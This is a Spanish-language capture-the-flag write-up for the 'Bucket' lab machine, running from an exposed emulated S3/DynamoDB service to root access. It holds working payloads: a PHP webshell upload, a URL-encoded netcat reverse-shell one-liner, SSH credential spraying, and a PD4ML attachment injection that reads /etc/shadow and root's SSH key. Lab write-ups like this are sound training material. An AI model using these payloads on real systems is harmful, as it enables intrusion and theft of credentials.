Bucket
sudo nmap 10.129.25.33 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
sudo nmap 10.129.25.33 -p 22,80 -sCV -oN targeted
echo "10.129.25.33 bucket.htb" >> /etc/hosts
Fuzzeamos para encontrar subdominios
ffuf -u http://bucket.htb -H "Host: FUZZ.bucket.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -mc all -ac -t 150
Lo añadimos también al /etc/hosts
Tiene toda la pinta de que es un Bucket S3
Probamos si está abierto a Everyone
Probamos si está abierto a Any Authenticathed User
Primero nos logueamos con nuestra cuenta real de aws
aws login
Tratamos de listar una vez autenticados, sin éxito
aws s3 ls s3://s3.bucket.htb
Buscamos directorios
gobuster dir -u http://s3.bucket.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 100
Parece ser que hay un dynamo también
curl http://s3.bucket.htb/health -s ; echo
{"services": {"s3": "running", "dynamodb": "running"}}
Encontramos algo en
var db = new AWS.DynamoDB();
db.listTables(function(err, data) {
if (err) console.log(err);
else console.log(data);
});
{
"message":"The security token included in the request is invalid.",
"code":"UnrecognizedClientException",
"time":"2025-12-26T17:29:29.427Z",
"statusCode":400,
"retryable":false
}
Nos piden credenciales, podemos meter unas creds falsas ya que estamos trabajando en local, no estamos usando la nube real de AWS.
Es por eso que ponemos como endpoint el nombre del dominio, porque seguramente se trate de LocalStack , por ejemplo, que es un emulador de AWS local.
Ponemos us-east-1 porque es la región mas conocida.
AWS.config.update({
region: "us-east-1",
endpoint: "http://s3.bucket.htb",
accessKeyId: "fake",
secretAccessKey: "fake"
});
[]
Listamos las tablas de la db
var db = new AWS.DynamoDB();
db.listTables(function(err, data) {
if (err) console.log(err);
else console.log(data);
});
{"TableNames":["users"]}
Hacemos un scan a la tabla (leerla completa)
var docClient = new AWS.DynamoDB.DocumentClient();
var params = {
TableName: 'users'
};
docClient.scan(params, function(err, data) {
if (err) console.log(err);
else console.log(data);
});
{
"Items": [
{
"password": "Management@#1@#",
"username": "Mgmt"
},
{
"password": "Welcome123!",
"username": "Cloudadm"
},
{
"password": "n2vM-<_K_Q:.Aa2",
"username": "Sysadm"
}
],
"Count": 3,
"ScannedCount": 3
}
Los probamos contra ssh sin éxito
nxc ssh 10.129.25.33 -u users.txt -p passwords.txt --continue-on-success
Tratamos de listar buckets s3
// 1. Inicializar S3
var s3 = new AWS.S3({
region: 'us-east-1',
endpoint: "http://s3.bucket.htb"
});
// 2. Definir parametros
var params = {
Bucket: 's3.bucket.htb'
};
// 3. Listar archivos
s3.listObjects(params, function(err, data) {
if (err) {
console.log("Error:");
console.log(err);
} else {
console.log("Archivos encontrados:");
// Recorremos la lista para imprimir solo los nombres
data.Contents.forEach(function(obj) {
console.log(obj.Key);
});
}
});
Pero la herramienta es antigua y solo parsea json
{
"message": "Cannot load XML parser",
"code": "XMLParserError",
"time": "2025-12-26T18:03:40.633Z",
"originalError": {
"message": "Cannot load XML parser",
"code": "XMLParserError",
"time": "2025-12-26T18:03:40.633Z"
},
"statusCode": 404,
"retryable": false
}
Resulta que podemos hacerlo desde consola, habíamos tratado de listar los buckets sin indicar el --endpoint-url, olvidábamos que al ser un entorno CTF, seguramente use un emulador de AWS local como LocalStack
Ahora si, ya podemos listar los buckets, cuando antes nos tiraba permiso denegado
aws s3 ls --endpoint-url http://s3.bucket.htb
2025-12-26 13:10:03 adserver
Listar contenido del bucket
aws s3 ls s3://adserver --endpoint-url http://s3.bucket.htb
Nos lo descargamos
aws s3 sync s3://adserver . --endpoint-url http://s3.bucket.htb
Parece ser la página inicial , la http://bucket.htb/
Aprovechamos que es un php para subir una shell, ya que al parecer también tenemos permisos de escritura
aws s3 cp /mnt/Windows/Hacking/tools/shell.php s3://adserver --endpoint-url http://s3.bucket.htb
nc -lvnp 4444
http://bucket.htb/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.17.48%204444%20%3E%2Ftmp%2Ff
Encontramos un usuario llamado roy
nxc ssh 10.129.25.33 -u roy -p passwords.txt --continue-on-success
roy \ n2vM-<_K_Q:.Aa2
Nos conectamos por ssh y leemos la flag de user.txt
Dentro de .aws hay creds pero son del usuario root
ls -lh /.aws
total 8.0K
-rw------- 1 root root 22 Sep 16 2020 config
-rw------- 1 root root 64 Sep 16 2020 credentials
Estamos en el grupo sysadm pero no parece tener ningún archivo propio.
find / -group sysadm 2>/dev/null | grep -v -e '^/run' -e '^/sys' -e '^/proc'
Puertos abiertos
netstat -tuln
Hay cosas en el puerto 8000 y 45229
ssh roy@10.129.25.33 -L 8000:127.0.0.1:8000 -L 45229:127.0.0.1:45229
Fuzzeamos
gobuster dir -u http://127.0.0.1:8000 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 200
Parece que la página está en la máquina en la ruta /var/www/bucket-app y los archivos le pertenecen a root
En el index.php hay este código
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") { #Solo se ejecuta si se envía el parámetro action con el valor get_alerts
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
)); #Busca en la tabla los items donde el title sea Ransomware
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
#recorre las entradas de la base de datos con title Ransomware y pilla el valor de la columna data y lo mete en un archivo con un nombre random .html en la carpeta files
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
#convierte ese html a pdf con PD4ML
}
}
else
{
?>
Sin embargo parece que no existe esa tabla
aws dynamodb scan --table-name alerts --endpoint-url http://s3.bucket.htb --region us-east-1
An error occurred (ResourceNotFoundException) when calling the Scan operation: Cannot do operations on a non-existent table
Seguramente debamos crearla.
La creamos como nos piden con una columna title
- DynamoDB: Creas una caja y dices "El identificador es
title". A partir de ahí, puedes meter items que tengandata, otros que tenganfecha, otros conlo_que_sea. Es flexible (Schemaless).
Aquí solo mencionamos title porque es la Primary Key (lo único obligatorio). Si intentas definir data aquí, te dará error.
aws dynamodb create-table \
--table-name alerts \
--attribute-definitions AttributeName=title,AttributeType=S \
--key-schema AttributeName=title,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--endpoint-url http://localhost:4566 \
--region us-east-1
AttributeName=title,AttributeType=S: "Existirá un campo llamadotitleque es un String (S)".KeyType=HASH: "Ese campotitleserá la clave principal (Partition Key)".- ¿Y la columna
data? No se pone aquí. Se crea sola cuando metes datos.
Para meter datos
aws dynamodb put-item \
--table-name alerts \
--endpoint-url http://localhost:4566 \
--region us-east-1 \
--item '{
"title": {"S": "Ransomware"},
"data": {"S": "<html><body><pre><?php if(isset($_GET['cmd'])){ system($_GET['cmd']); }?></pre></body></html>"}
}'
"title": {"S": "Ransomware"}: "El campotitle(que es la clave) vale 'Ransomware'"."data": {"S": "...payload..."}: "Añado un campo nuevo llamadodata(String) con el código malicioso dentro".
Entonces primero creamos la tabla
Le pasamos --no-sign-request para que no nos pida creds (creds fake) para firmar la solicitud
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 --endpoint-url http://localhost:4566 --region us-east-1 --no-sign-request
Vemos su contenido (vacía)
aws dynamodb scan --table-name alerts --endpoint-url http://localhost:4566 --region us-east-1 --no-sign-request
Insertamos una webshell
aws dynamodb put-item --table-name alerts --endpoint-url http://localhost:4566 --region us-east-1 --item '{
"title": {"S": "Ransomware"},
"data": {"S": "<html><body><pre><?php if(isset($_GET['cmd'])){ system($_GET['cmd']); }?></pre></body></html>"}
}' --no-sign-request
Cuando enviemos la petición POST
POST / HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
action=get_alerts
Recibimos un 200 OK y vemos dos archivos
El problema aquí es que no podemos controlar el nombre del archivo html para cambiarlo a php y así se nos interprete la shell, por lo que no podemos conseguir rce.
De todas formas la librería de java permite convertir ciertas etiquetas html a attachments dentro del pdf
aws dynamodb put-item --table-name alerts --endpoint-url http://localhost:4566 --region us-east-1 --item '{ "title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment src=\"file:///etc/shadow\" description=\"passwd\" type=\"text/plain\" icon=\"Paperclip\"/>"} }' --no-sign-request
Por lo que tenemos LFI de cualquier archivo dentro de la máquina
Intentamos romper el hash sin éxito.
Leemos la flag de root.txt
Leemos /root/.ssh/id_rsa
ssh root@10.129.25.33 -i root.pem